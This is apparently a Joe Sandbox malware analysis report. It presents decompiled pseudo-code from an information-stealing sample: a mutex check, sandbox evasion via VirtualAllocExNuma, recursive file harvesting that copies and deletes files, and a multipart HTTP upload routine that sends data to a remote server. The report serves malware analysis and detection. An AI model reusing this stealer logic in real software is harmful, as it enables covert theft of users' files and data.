Function 00406B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x714960
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00714960,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Strings

`Iq, xrefs: 00406B33

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: `Iq
API String ID: 1925916568-2972690388
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 114.1, APIs: 56, Strings: 9, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x7127f8
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x717e08
							_t219 =  *0x41a590; // 0x715750
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x717e08
							_t207 =  *0x41a590; // 0x715750
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x714f90
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x7155f0
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x712838
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x715080
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x715230
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,007120C8,00714840,00716108,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,007127F8), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,00715750,?,00717E08,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,00715750,?,00717E08,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00714F90), ref: 00404E78
lstrcat.KERNEL32(?,007155F0), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00712838), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00715080), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00715230), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

8(q, xrefs: 00404EFE
", xrefs: 00404E91
", xrefs: 00404F23
------, xrefs: 00404CE8, 00404E32, 00404EC6
200, xrefs: 004050AF
https://, xrefs: 00404C94
PWq, xrefs: 00404DDA, 00404E0B
, xrefs: 00404F6D
0Rq, xrefs: 00404F5A

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$0Rq$200$8(q$PWq$https://
API String ID: 3074752877-3521279311
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x717da8
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x7188f0
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x717df0
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x718860
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

